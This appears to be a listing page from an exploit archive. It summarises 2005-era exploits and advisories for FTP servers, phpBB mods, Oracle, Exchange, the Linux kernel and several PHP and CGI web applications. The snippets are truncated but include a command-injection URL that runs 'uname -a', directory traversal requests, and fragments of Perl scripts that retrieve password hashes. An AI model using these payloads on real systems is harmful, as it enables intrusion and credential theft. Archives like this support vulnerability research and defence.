Buffer overflow in KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)

Summary: Buffer overflow in KMiNT21 Software Golden FTP Server Pro v2.52 10.04.2005 http://www.goldenftpserver.com/ Details: Passing an overly long username parameter to the FTP server causes the EIP register to be overwritten after the USER/PASS login sequence is completed. Once this has been do...

E-Cart 1.1 - 'index.cgi' Remote Command Execution

!/usr/bin/perl Example added if code doesn't work for ya: http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductoresdvd&art=reproductordvp-ns315.dat|uname%20-a| /str0ke info: [email protected] use IO::Socket; print "\n\n www.badroot.org \n\n"; print " E-Cart E-Commerce Software...

yawcam 0.2.5 - Directory Traversal

source: https://www.securityfocus.com/bid/13295/info Yawcam is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. GET ................\windows\system.ini HTTP/1.0 GET ................\windows\system.ini HTTP/1.0...

PMSoftware Simple Web Server 1.0 - Remote Stack Overflow

/ PMsoftware mini http server remote stack overflow exploit author : c0d3r "kaveh razavi" [email protected] [email protected] package : PMsoftware Web Server version 1.0 advisory : http://www.securiteam.com/windowsntfocus/5TP0B2KFGA.html company address : www.pmx.it timeline : 17 Feb 2005 : bu...

PostgreSQL <= 8.01 Remote Reboot Denial of Service Exploit

Exploit for multiple platform in category dos / poc ========================================================== PostgreSQL include include include include include define DEFAULTPORT "5321" define DEFAULTDB "postgresql" define FUNCNAME "uKttest" define TABLENAME "unl0cktable" char str4000; char...

Microsoft Exchange Server - Remote Code Execution (MS05-021)

!/bin/perl MS05-021 Exchange X-LINK2STATE Heap Overflow Author: Evgeny Pinchuk For educational purposes only. Tested on: Windows 2000 Server SP4 EN Microsoft Exchange 2000 SP3 Thanks and greets: Halvar Flake thx for the right directions Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave...

Oracle Database Server 10.1.0.2 - Local Buffer Overflow

Oracle Database Server 10.1.0.2 - Local Buffer Overflow / Advanced SQL Injection in Oracle databases Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDOCODESIZE of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4. Fixes available at...

Oracle Database 10.1 - MDSYS.MD2.SDO_CODE_SIZE Buffer Overflow

source: https://www.securityfocus.com/bid/13145/info Oracle Database is reported prone to a buffer overflow vulnerability. Reportedly this issue affects the 'MDSYS.MD2.SDOCODESIZE' procedure. An attacker can supply excessive data to an affected routine resulting in overflowing a destination buffe...

DeluxeFtp 6.x Local Password Disclosure Exploit

No description provided by source. / DeluxeFtp 6.x Local Password Disclosure Exploit by Kozan Application: DeluxeFtp 6.x and probably prior versions Vendor: www.deluxeftp.com Vulnerable Description: DeluxeFtp 6.x discloses passwords to local users. Bug Discovered by: Lostmon Exploit Coded by: Koz...

phpBB 2.0.13 - 'Calendar Pro' mod Get Hash

!/usr/bin/perl -w use IO::Socket; Example: C:\calphpbb.pl www.site.com /phpBB2/ 2 'Calendar Pro' Mod for phpBB Connecting... + Connected! Sending Data... Data Sent, Waiting for response... + MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055 if @ARGV \n"; print " e.g.: calphpbb.pl...

phpBB 2.0.13 - Calendar Pro mod Get Hash

phpBB 2.0.13 - Calendar Pro mod Get Hash !/usr/bin/perl -w use IO::Socket; Example: C:\calphpbb.pl www.site.com /phpBB2/ 2 'Calendar Pro' Mod for phpBB Connecting... + Connected! Sending Data... Data Sent, Waiting for response... + MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055 ...

phpBB 2.0.13 - 'downloads.php' mod Get Hash

!/usr/bin/perl -w use IO::Socket; Example: C:\phpbb.pl www.site.com /phpBB2/ 2 downloads.php mod in phpBB \n"; print " e.g.: phpbb.pl www.site.com /phpBB2/ 2 \n"; print " - site address\n"; print " - forum folder\n"; print " - user id 2 default for phpBB admin\n"; print "||\n"; print "\n\n"; exit...

betaParticle.txt

BetaParticle bp is a ASP CMS Blog + Gallery . I found 2 vulnerabilities in BetaParticle. http://example.com/bp : is BP path ! 1 BP Database Disclosure For version = 3.0 Database path : http://example.com/Blog.mdb And BP path must be : http://example.com/bp/ you can download it and disclose the...

Microsoft Windows XP - Local Denial of Service

Microsoft Windows XP - Local Denial of Service source: https://www.securityfocus.com/bid/12870/info It is reported that Microsoft Windows XP Service Pack 1 is prone to a local denial of service vulnerability. The issue is reported to manifest when a raw IP over IP socket is created and data is...

[PersianHacker.NET 200503-10]PHP-Fusion v5.01 Html Injection Vulnerability

PersianHacker.NET 200503-10PHP-Fusion v5.01 Html Injection Vulnerability Date: 2005 March Bug Number: 10 PHP-Fusion a light-weight open-source content management system CMS written in PHP. It utilises a mySQL database to store your site content and includes a simple, comprehensive adminstration...

UBBCentral UBB.Threads 6.0 - editpost.php SQL Injection

UBBCentral UBB.Threads 6.0 - editpost.php SQL Injection source: https://www.securityfocus.com/bid/12784/info It is reported that UBB.threads is prone to an SQL injection vulnerability. The SQL injection vulnerability is reported to affect the 'editpost.php' script. UBB.threads 6.0 is reported pro...

Linux Kernel 2.6.x - SYS_EPoll_Wait Local Integer Overflow Local Privilege Escalation (1)

Linux Kernel 2.6.x - SYSEPollWait Local Integer Overflow Local Privilege Escalation 1 / EDB Note: Updated exploit can be found here; https://www.exploit-db.com/exploits/25203/ source: https://www.securityfocus.com/bid/12763/info A Local integer overflow vulnerability affects the Linux kernel. Thi...

OpenBSD 2.0 < 3.6 - TCP Timestamp Remote Denial of Service

define BSDSOURCE include include include include include include include include include include include / edited by /str0ke ! milw0rm.com to compile under linux / ifndef TCPOPTLEN define TCPOPTLEN 12 endif define UMASK 0xffff define TIMESTAMP 0x7b000000 // 123 in hex - change it, this will...

paNews 2.0b4 Remote Admin Creation SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== paNews 2.0b4 Remote Admin Creation SQL Injection Exploit ======================================================== / paNews v2.0b4 silePNEWSxpl This exploit utilize SQL injection for...

PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================== PHP mcNews = 1.3 skinfile Remote File Include Vulnerability ============================================================== Example: if registerglobals=on and allowurlfopen=on:...